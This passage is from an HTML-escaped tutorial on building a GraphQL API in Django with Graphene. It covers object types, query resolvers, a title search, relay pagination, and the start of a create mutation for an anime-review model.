style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;AnimeType&lt;/span&gt;(DjangoObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rating&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are going to create a &lt;em&gt;Query&lt;/em&gt; class that will contain each and every one of our queries, in the form of methods.&lt;/p&gt;&#xA;&lt;h2 id=&#34;returning-lists-with-graphene&#34;&gt;Returning lists with graphene&lt;/h2&gt;&#xA;&lt;p&gt;Next we look for our query to be a list of &lt;em&gt;AnimeType&lt;/em&gt; objects (the one we just created in the previous step).&lt;/p&gt;&#xA;&lt;p&gt;You could consider this property as the &lt;strong&gt;equivalent of a type or schema part&lt;/strong&gt; in Javascript.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    all_animes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;List(AnimeType)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are going to tell it what should contain the query that solves &lt;em&gt;all_animes&lt;/em&gt;, for that we are going to create a function with the following format &amp;lt;&lt;em&gt;resolve&lt;/em&gt; + property_of_graphene&amp;gt;_ = resolve_property_graphene (&lt;em&gt;resolve_all_animes&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;You can consider this method as the &lt;strong&gt;equivalent of a resolver&lt;/strong&gt; in Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Graphene will automatically take care of two things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Associate the queryset that we return with the property&lt;/li&gt;&#xA;&lt;li&gt;Transform the query to camel case (In this case allAnimes).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    all_animes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;List(AnimeType)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;resolve_all_animes&lt;/span&gt;(root, info):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If for some reason you want to &lt;strong&gt;disable the transformation of the text to camel&lt;/strong&gt; case indicate it in the schema object. I will leave it with the camel case activated.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Only if you want to deactivate camelCase&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query, auto_camelcase&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the camel case activated, the query called &lt;em&gt;allAnimes&lt;/em&gt; will return the result of the &lt;em&gt;Anime.objects.all()&lt;/em&gt; queryset.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/QuerysetGraphene.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/QuerysetGraphene.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Result of query allAnimes in graphql&#34; width=&#34;820&#34; height=&#34;483&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;returning-queries-with-parameters&#34;&gt;Returning queries with parameters&lt;/h2&gt;&#xA;&lt;p&gt;To create a new query with parameters we will add a new method to our Query object and follow the same formula: we will create a property and then join the name with the prefix &lt;em&gt;resolve&lt;/em&gt;_.&lt;/p&gt;&#xA;&lt;p&gt;However in this case we will use an argument, so we have to tell the name of the argument and the data type in graphql, in this case the argument will be called &lt;em&gt;title&lt;/em&gt; and the data type will be &lt;em&gt;String&lt;/em&gt;. Notice how we pass &lt;em&gt;required&lt;/em&gt; to make it mandatory and its presence as an argument in the new method.&lt;/p&gt;&#xA;&lt;p&gt;Remember that the result of the query is decided by us, I have used a simple &lt;em&gt;icontains&lt;/em&gt; for a case insensitive search, but you can use whatever you want, even a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/&#34;&gt;full text search&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;advanced searches with trigrams with postgres&lt;/a&gt;&#xA; or whatever you prefer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    anime_by_title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;List(AnimeType, title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;String(required&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;resolve_anime_by_title&lt;/span&gt;(root, info, title):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;title)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/busquedaGraphqlParametros-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/busquedaGraphqlParametros-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Result of the query animeByTitle in graphql&#34; width=&#34;907&#34; height=&#34;431&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;pagination-in-graphql-using-relays&#34;&gt;Pagination in graphql using relays&lt;/h2&gt;&#xA;&lt;p&gt;To use pagination in our search we need to use the relay object we get from graphene and create a property in the Meta class of our graphql Type.&lt;/p&gt;&#xA;&lt;p&gt;And an object that Connection with a node equal to our graphql type.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; relay&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; anime.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;AnimeType&lt;/span&gt;(DjangoObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        interfaces &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (relay&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Node,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rating&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;AnimeConnection&lt;/span&gt;(relay&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Connection):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        node &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; AnimeType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    paginated_animes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; relay&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ConnectionField(AnimeConnection)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;resolve_paginated_animes&lt;/span&gt;(root, info, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this we will be able to make queries where we indicate the quantity of results that we want. And it will return us information regarding if we have a next page, the cursor of beginning, the cursor of end.&lt;/p&gt;&#xA;&lt;p&gt;If you are confused, think of cursors as identifiers. In the query we are telling it to bring us the first two results, each one has a cursor, which is like its identifier, and a node, which contains the information we are interested in.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the objects we can obtain pagination information, such as the start cursor, the end cursor and whether there are pages before or after our query.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/GrapheneQueryRelay-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/GrapheneQueryRelay-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pagination in graphql using django graphene showing first two results&#34; width=&#34;933&#34; height=&#34;823&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;First two results&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;graphene-mutations&#34;&gt;Graphene mutations&lt;/h2&gt;&#xA;&lt;p&gt;With this we can now handle most of the queries to read information that we can think of. But, what about the rest of the operations: creating, updating or deleting data? As you know, in graphql, these operations are handled by mutations.&lt;/p&gt;&#xA;&lt;p&gt;We can customize the behavior of our mutations by creating a new object that inherits from &lt;em&gt;Mutation&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;arguments-and-return-of-our-mutation&#34;&gt;Arguments and return of our mutation&lt;/h3&gt;&#xA;&lt;p&gt;Inside the object that inherits from Mutation we will place an &lt;em&gt;Arguments&lt;/em&gt; class, which indicates the arguments that our mutation requires. In this case I have put all the fields with their respective types&lt;/p&gt;&#xA;&lt;p&gt;The other two fields in the object refer to what the mutation will return when we execute it; in this case it is an Anime object, which corresponds to our model; and an ok field, to indicate that everything went well.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CreateAnime&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Mutation):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Arguments&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;String()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;String()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Int()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ok &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Boolean()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    anime &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Field(AnimeType)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;the-mutate-method&#34;&gt;The mutate method&lt;/h3&gt;&#xA;&lt;p&gt;Now we create a method called &lt;em&gt;mutate&lt;/em&gt; inside this same class. This object receives root, info and the arguments that we specify in class &lt;em&gt;Arguments&lt;/em&gt;, inside the method we decide what happens.&lt;/p&gt;&#xA;&lt;p&gt;I created an anime object, saved it to the database and returned the class with the &lt;em&gt;anime&lt;/em&gt; object created and the word &lt;em&gt;ok&lt;/em&gt; equal to True.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 